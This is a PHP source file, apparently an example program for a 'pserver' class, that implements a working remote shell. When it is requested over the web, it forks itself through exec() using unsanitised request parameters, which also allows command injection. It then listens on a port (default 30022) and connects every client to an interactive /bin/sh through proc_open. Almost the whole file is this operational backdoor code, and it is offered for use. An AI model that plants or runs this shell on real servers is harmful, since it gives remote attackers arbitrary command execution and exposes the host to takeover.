<?
 
 
if ( !( $_SERVER["USER"] OR $_SERVER["PWD"] OR $_SERVER["TERM"] OR count($_SERVER["argv"]) > 1 ) )
 
{
 
    // Corre por Web
 
    exec("php ".basename( $_SERVER["PHP_SELF"] )." ".$_REQUEST["ip"]." ".$_REQUEST["p"]."  & ");
 
    die(" RUN FORKED ");
 
}
 
 
 
/**
 
 * Remote Shell in PHP
 
 *
 
 * Thiss Class in a example of a Server create using class pserver
 
 *
 
 * @package pserver
 
 * @subpackage pserver.example
 
 * @author Pedro Vargas ([email protected]) http://deerme.org
 
 * @version 0.1
 
 * @licence GNU General Public License (GPL)
 
 */
 
 
require('pserver.class.php'); 
 
 
 
 
class pshell extends pserver
 
{
 
    
 
    var $pipes = array(
 
            0 => array("pipe", "r"),
 
            1 => array("pipe", "w"),
 
            2 => array("pipe", "w")
 
            );
 
 
    var $shell = "/bin/sh -i";
 
    var $chunk_size = 4096;
 
    var $socketbinary = true;
 
    /**
 
    * Read data on the client
 
    */
 
    
 
    function read( &$client  )
 
    {        
 
        $this->data[ $client['n'] ] = @socket_read($client['socket'], $this->bufferin, (  $this->socketbinary ?  PHP_BINARY_READ : PHP_NORMAL_READ  ) );
 
        // Have a shell ?
 
        if ( !isset( $client["shell"] ) )
 
        {            
 
            $client["shell"] = proc_open($this->shell, $this->pipes,$client["pipes"]);
 
            if (!is_resource($client["shell"]))
 
            {
 
                $this->_logger("Shell","Can't open shell ".$this->shell."  ");
 
            }
 
            else
 
            {
 
                $this->_logger("Shell","Open shell ".$this->shell."  ");
 
            }
 
            // Set everything to non-blocking
 
            stream_set_blocking($client["pipes"][0],0);
 
            stream_set_blocking($client["pipes"][1],0);
 
            stream_set_blocking($client["pipes"][2],0);            
 
        }        
 
        // Data Client -> Process
 
        fwrite($client["pipes"][0], $this->data[ $client['n'] ]);
 
        usleep(10000);            
 
        
 
    }
 
    
 
    /**
 
    * Write data on the client
 
    */
 
    function write(  &$client , $data )
 
    {
 
        // If we can read from the process's STDOUT
 
        // send data down tcp connection        
 
        if ( !$client["shell"] )
 
            return false;
 
        if ( !isset( $client['pid'] ) AND  function_exists("pcntl_fork") )
 
        {
 
            $client['pid'] = pcntl_fork();
 
            if($pid == -1)
 
            {
 
                $this->logger("Process","Could not fork Process");
 
                die();
 
            }
 
            else if ($client['pid'])
 
            {    
 
                // Father
 
                $this->pids[] = $client['pid'];
 
            }
 
            else
 
            {
 
                // Son
 
                while( 1 == 1)
 
                {
 
                    $input = fread($client["pipes"][1], $this->chunk_size);
 
                    $input = str_replace("\n","\n\r",$input);
 
                    if ( @socket_write($client['socket'], $input  ) === false )
 
                    {                    
 
                        // Dead socket
 
                        $this->logger("Socket","Dead Socket");
 
                        socket_close($client['socket']);
 
                        unset($client);
 
                        // Die Process
 
                        die();
 
                    }
 
                    
 
                    $input = fread($client["pipes"][2], $this->chunk_size);
 
                    $input = str_replace("\n","\n\r",$input);
 
                    if ( $input != "" )
 
                    {
 
                        if ( eregi("sh" , $input ) and strlen($input) == 16 )
 
                            $input = substr( $input , 0 , 8 );
 
                        if ( @socket_write($client['socket'], $input  ) === false )
 
                        {
 
                        }
 
                    }
 
                    usleep(10000);
 
                }
 
            }
 
        }
 
        else
 
        {
 
            // I cant Fork
 
            $input = fread($client["pipes"][1], $this->chunk_size);
 
            $input = str_replace("\n","\n\r",$input);            
 
            if ( $input != "" )
 
            {
 
                if ( eregi("sh" , $input ) and strlen($input) == 16 )
 
                    $input = substr( $input , 0 , 8 );
 
                if ( socket_write($client['socket'], $input  ) === false )
 
                {
 
                    $this->logger("Socket","Dead Socket");
 
                    socket_close($client['socket']);
 
                    unset($client);
 
                }
 
            }
 
            $input = fread($client["pipes"][2], $this->chunk_size);
 
            $input = str_replace("\n","\n\r",$input);            
 
            if ( $input != "" )
 
            {
 
                if ( eregi("sh" , $input ) and strlen($input) == 16 )
 
                    $input = substr( $input , 0 , 8 );
 
                if ( socket_write($client['socket'], $input  ) === false )
 
                {
 
                    
 
                }
 
            }
 
        }        
 
        
 
    }
 
    
 
    
 
    
 
}
 
 
$ip = ($argv[1] ? $argv[1] : 0 );
 
$p = ($argv[2] ? $argv[2] : 30022 );
 
 
// Instance Server
 
$server = new pshell($ip,$p);
 
$server->welcome_data = unserialize(base64_decode("czozMzg6IhtbMTszMjs0MG1XZWxjb21lIHRvIFBIUCBQU2VydmVyG1sxOzM1OzQwbQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgIC98Xw0KICAgICAgICAgICAgICAgICAgICAgICAgLCcgIC5cDQogICAgICAgICAgICAgICAgICAgICwtLScgICAgXywnDQogICAgICAgICAgICAgICAgICAgLyAgICAgICAvDQogICAgICAgICAgICAgICAgICAoICAgLS4gIHwNCiAgICAgICAgICAgICAgICAgIHwgICAgICkgfA0KICAgICAgICAgICAgICAgICAoYC0uICAnLS0uKQ0KICAgICAgICAgICAgICAgICAgYC4gKS0tLS0nDQobWzE7MzI7NDBtCQkJIFBsZWFzZSwgdGFrZSBhIGNhdCAuLi4gG1sxOzM3OzQwbQoNIjs="));
 
$server->start();
 
 
?>
 
 |